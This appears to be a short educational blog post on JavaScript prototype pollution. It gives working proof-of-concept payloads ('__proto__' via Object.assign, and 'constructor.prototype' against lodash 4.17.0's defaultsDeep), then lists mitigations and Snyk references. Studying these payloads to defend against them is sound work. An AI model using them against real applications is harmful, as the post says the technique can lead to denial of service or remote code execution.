Prototype Pollution
Written by Ulises Gascón
Apr 08, 2020 — 2 min readThe Attack
It's a technical attack that requires a great understanding of JS internals like __proto__
, prototype
, deep|shadow copy.
This bug was extended in popular libraries like Lodash.
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. (...) When that happens, it leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path the attacker injects, thereby leading to remote code execution
This is a raw pollution in vanilla js
const a = {"a": 1, "b": 2}
const data = JSON.parse('{"__proto__": { "polluted": true}}')
const c = Object.assign({}, a, data)
console.log(c.polluted) // true
This was a vulnerability in [email protected]
// npm install [email protected]
// https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.0/lodash.min.js
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"polluted": true}}}'
mergeFn({}, JSON.parse(payload));
const newObject = {}
console.log(newObject.polluted) //true
The solution
There are no definitive solutions to avoid this attack but it can be highly mitigated.
Mitigation
- If you can use
Map
overObject
- Avoid insecure recursive merges
- Use objects without prototype for recursive merges, like
Object.create(null)
- Try to implement JSON Schema validations
- As an extra mile you can freeze the prototype, but this can be a potential bad practice:
Object.freeze(Object.prototype)
Refs
- SNYK-JS-LODASH-450202 | Prototype Pollution
- Snyk | Snyk research team discovers severe prototype pollution security vulnerabilities affecting all versions of Lodash
- Manjula Dube | Understanding Deep and Shallow Copy in Javascript